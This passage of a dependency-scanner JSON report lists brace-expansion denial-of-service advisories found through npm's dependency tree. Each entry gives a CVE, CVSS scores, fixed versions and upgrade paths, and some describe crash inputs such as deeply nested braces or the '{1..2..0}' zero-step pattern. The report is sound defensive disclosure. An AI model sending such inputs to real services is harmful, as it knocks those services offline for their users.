"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
